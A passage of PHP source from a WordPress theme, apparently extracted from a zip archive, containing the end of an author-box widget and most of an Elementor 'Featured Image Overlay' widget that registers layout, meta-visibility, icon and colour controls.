                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-pinterest' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-tumblr' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-linkedin-in' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-soundcloud' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-youtube' ); ?></a>
                    <a class="author-social" href="#"><?php penci_fawesome_icon( 'fas fa-envelope' ); ?></a>
                </div>
            </div>
        </div>
		<?php
	}

	protected function builder_content() {
		$this->overwrite_mods();
		get_template_part( 'inc/templates/about_author' );
	}

	protected function overwrite_mods() {
		$settings = $this->get_settings();
		$mods     = [
			'penci_authorbio_style',
			'penci_author_ava_size',
			'penci_bioimg_style'
		];
		foreach ( $mods as $mod ) {
			if ( $mod == 'penci_author_ava_size' ) {
				$value = isset( $settings[ $mod ]['size'] ) && $settings[ $mod ]['size'] ? $settings[ $mod ]['size'] : 100;
			} else {
				$value = $settings[ $mod ];
			}
			add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
				return $value;
			} );
		}
	}
}
PK     2w\e' ' 5  template-builder/single-elements/featured-overlay.phpnu [        <?php

use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleFeaturedOverlay extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Featured Image Overlay', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-parallax';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'title' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-ft-o elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-featured-overlay';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_enable_jarallax_single', [
			'label' => esc_html__( 'Enable Parallax on Featured Image', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_post_thumb', [
			'label' => esc_html__( 'Hide Featured Image on Top', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HIDDEN,
		] );

		$this->add_control( 'img_size', [
			'label'   => esc_html__( 'Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => $this->get_list_image_sizes( true ),
		] );

		$this->add_control( 'img_msize', [
			'label'   => esc_html__( 'Image Mobile Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => $this->get_list_image_sizes( true ),
		] );

		$this->add_control( 'img_ratio', [
			'label'     => esc_html__( 'Image Ratio (in %)', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-single-featured-img,{{WRAPPER}} .penci-jarallax' => 'padding-top: {{SIZE}}% !important;',
			),
		] );


		$this->end_controls_section();

		$this->start_controls_section( 'content_elspacing', [
			'label' => esc_html__( 'Elements Spacing', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'element_bspacing', [
			'label'     => esc_html__( 'Breadcrumb Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .container.penci-breadcrumb' => 'margin-bottom:{{SIZE}}px'
			],
		] );

		$this->add_responsive_control( 'element_catspacing', [
			'label'     => esc_html__( 'Categories Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .penci-standard-cat' => 'margin-bottom:{{SIZE}}px'
			],
		] );

		$this->add_responsive_control( 'element_titlespacing', [
			'label'     => esc_html__( 'Post Title Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .header-standard .post-title' => 'margin-bottom:{{SIZE}}px'
			],
		] );

		$this->add_responsive_control( 'element_subtitlespacing', [
			'label'     => esc_html__( 'Post Sub Title Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .header-standard .penci-psub-title' => 'margin-bottom:{{SIZE}}px'
			],
		] );

		$this->add_responsive_control( 'element_metaspacing', [
			'label'     => esc_html__( 'Meta Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .post-box-meta-single' => 'margin-top:{{SIZE}}px'
			],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'content_overlay', [
			'label' => esc_html__( 'Overlay Content', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'content_overlay_align', [
			'label'     => esc_html__( 'Text Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .standard-post-special_wrapper,{{WRAPPER}} .standard-post-special_wrapper .penci-fto-ct,{{WRAPPER}} .standard-post-special_wrapper *,{{WRAPPER}} .post-box-meta-single' => 'text-align:{{VALUE}}' ],
		] );

		$this->add_control( 'content_overlay_calign', [
			'label'     => esc_html__( 'Content Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'options'   => array(
				'start'  => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'end'    => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'default'   => 'end',
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .standard-post-special_wrapper' => 'bottom:30px;top:30px;display:flex;flex-wrap: wrap;flex-direction: column;justify-content:{{VALUE}}' ],
		] );

		$this->add_control( 'hide_breadcrumb', [
			'label'     => esc_html__( 'Hide Breadcrumb', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb' => 'display:none' ],
		] );

		$this->add_control( 'hide_title', [
			'label'     => esc_html__( 'Hide Post Title', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .single-post-title' => 'display:none' ],
		] );

		$this->add_control( 'hide_subtitle', [
			'label' => esc_html__( 'Hide Post Sub Title', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_post_cat', [
			'label' => esc_html__( 'Hide Post Categories', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'hide_info', [
			'label'     => esc_html__( 'Hide Post Meta', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'display:none' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'post_meta', [
			'label'     => esc_html__( 'Post Meta', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'hide_info!' => 'yes' ],
		] );

		$this->add_control( 'hide_meta_label', [
			'label'     => esc_html__( 'Hide Meta Label?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'meta_divider', [
			'label'     => 'Remove Meta Divider Character',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none !important;'
			),
		] );

		$this->add_control( 'meta-item-spacing', [
			'label'      => 'Spacing Between Meta',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 100 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .post-box-meta-single > span:not(:last-child)'          => 'margin-right:{{SIZE}}px;',
				'body.rtl {{WRAPPER}} .post-box-meta-single > span:not(:last-child)' => 'margin-left:{{SIZE}}px;margin-right:0',
			],
		] );

		$this->add_control( 'penci_single_meta_author', [
			'label'     => esc_html__( 'Hide Author?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_author_update', [
			'label'     => esc_html__( 'Show Latest Update Author?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_author_avatar', [
			'label'     => esc_html__( 'Hide Author Avatar?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_ava_icon_check', [
			'label'     => esc_html__( 'Hide Post Author Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_author_avatar_br', [
			'label'     => esc_html__( 'Author Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single .avatar' => 'border-radius:{{SIZE}}px' ],
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_author_avatar_sp', [
			'label'     => esc_html__( 'Author Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single .avatar' => 'margin-left:{{SIZE}}px;margin-right:{{SIZE}}px' ],
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_avatar_w', [
			'default'   => 30,
			'label'     => esc_html__( 'Author Avatar Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::NUMBER,
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_date', [
			'label'     => esc_html__( 'Hide Post Date?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_date_icon_check', [
			'label'     => esc_html__( 'Hide Post Date Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_date!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_comment', [
			'label'     => esc_html__( 'Hide Post Comments?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_comment_icon_check', [
			'label'     => esc_html__( 'Hide Post Comment Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_comment!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_show_cview', [
			'label'     => esc_html__( 'Hide Post View?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_view_icon_check', [
			'label'     => esc_html__( 'Hide Post View Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_show_cview!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_hreadtime', [
			'label'     => esc_html__( 'Hide Post Reading Time ?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_reading_icon_check', [
			'label'     => esc_html__( 'Hide Post Reading Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_hreadtime!' => 'yes' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'icon_settings', [
			'label' => esc_html__( 'Icon Settings', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'meta_icon_style', [
			'label'   => esc_html__( 'Icon Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default' => 'Default',
				's1'      => 'Style 1',
				's2'      => 'Style 2',
				's3'      => 'Style 3',
				's4'      => 'Style 4',
			],
		] );

		$this->add_control( 'meta_icon_size', [
			'label'     => esc_html__( 'Icon Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_fsize', [
			'label'     => esc_html__( 'Icon Font Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'font-size: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_border', [
			'label'     => esc_html__( 'Icon Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-radius: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_borderw', [
			'label'     => esc_html__( 'Icon Borders Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 10, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-width: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_spacing', [
			'label'     => esc_html__( 'Icon Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 10, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'margin-left: {{SIZE}}px;margin-right: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'penci_single_meta_gnr_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_gnr_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_gnr_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'author_icon_settings', [
			'label'     => esc_html__( 'Author Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_ava_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_ava_icon', [
			'label'            => esc_html__( 'Post Author Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-user',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_author_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .ava-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_author_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .ava-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .ava-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .ava-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_author_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .ava-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .ava-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'date_icon_settings', [
			'label'     => esc_html__( 'Date Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_date_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_date_icon', [
			'label'            => esc_html__( 'Post Date Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-clock',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_date_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .date-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_date_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .date-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .date-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .date-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_date_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .date-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .date-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'comment_icon_settings', [
			'label'     => esc_html__( 'Comment Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_comment_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_comment_icon', [
			'label'            => esc_html__( 'Post Comment Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-comment-dots',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_comment_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .comment-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_comment_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .comment-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .comment-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .comment-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_comment_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .comment-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .comment-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'view_icon_settings', [
			'label'     => esc_html__( 'Post View Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_view_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_view_icon', [
			'label'            => esc_html__( 'Post View Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-eye',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_view_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .view-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_view_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .view-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .view-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .view-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_view_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .view-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .view-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'reading_icon_settings', [
			'label'     => esc_html__( 'Reading Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_reading_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_reading_icon', [
			'label'            => esc_html__( 'Post Reading Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-book',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_reading_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .reading-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_reading_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .reading-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .reading-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .reading-icon:before' => 'border-left-color:{{VALUE}} !important',
			]

		] );

		$this->add_control( 'penci_single_meta_reading_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .reading-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .reading-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style_settings', [
			'label' => esc_html__( 'General Style ', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'overlay_color', [
			'label' => 'Background Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'     => 'overlay_bgcolor',
			'label'    => __( 'Overlay Background', 'soledad' ),
			'types'    => array( 'classic', 'gradient' ),
			'selector' => '{{WRAPPER}} .penci-move-title-above:after',
		) );

		$this->add_control( 'overlay_ctbgcolor', [
			'label'     => 'Content Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-fto-ct' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'overlay_ctw', [
			'label'     => 'Content Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1170 ) ),
			'selectors' => [ '{{WRAPPER}} .penci-fto-ct' => 'max-width:{{SIZE}}px' ],
		] );

		$this->add_control( 'overlay_align', [
			'label'                => esc_html__( 'Content Width Align', 'soledad' ),
			'type'                 => \Elementor\Controls_Manager::CHOOSE,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto !important',
				'center' => 'margin-left: auto !important; margin-right: auto !important;',
				'right'  => 'margin-left: auto !important',
			),
			'selectors'            => [ '{{WRAPPER}} .penci-fto-ct' => '{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'overlay_ctpd', array(
			'label'      => __( 'Content Padding', 'soledad' ),
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array( '{{WRAPPER}} .penci-fto-ct' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_control( 'overlay_ctbdr', [
			'label'     => 'Content Borders Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 50 ) ),
			'selectors' => [ '{{WRAPPER}} .penci-fto-ct' => 'border-radius:{{SIZE}}px' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'style_breadcrumb', [
			'label'     => esc_html__( 'Breadcrumb Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'hide_breadcrumb!' => 'yes' ],
		] );

		$this->add_control( 'breadcrumb_head', [
			'label' => 'Breadcrumb Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'breadcrumb_typo',
			'label'    => __( 'Typography for Breadcrumb', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb',
		) );

		$this->add_control( 'breadcrumb_color', [
			'label'     => 'Breadcrumb Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
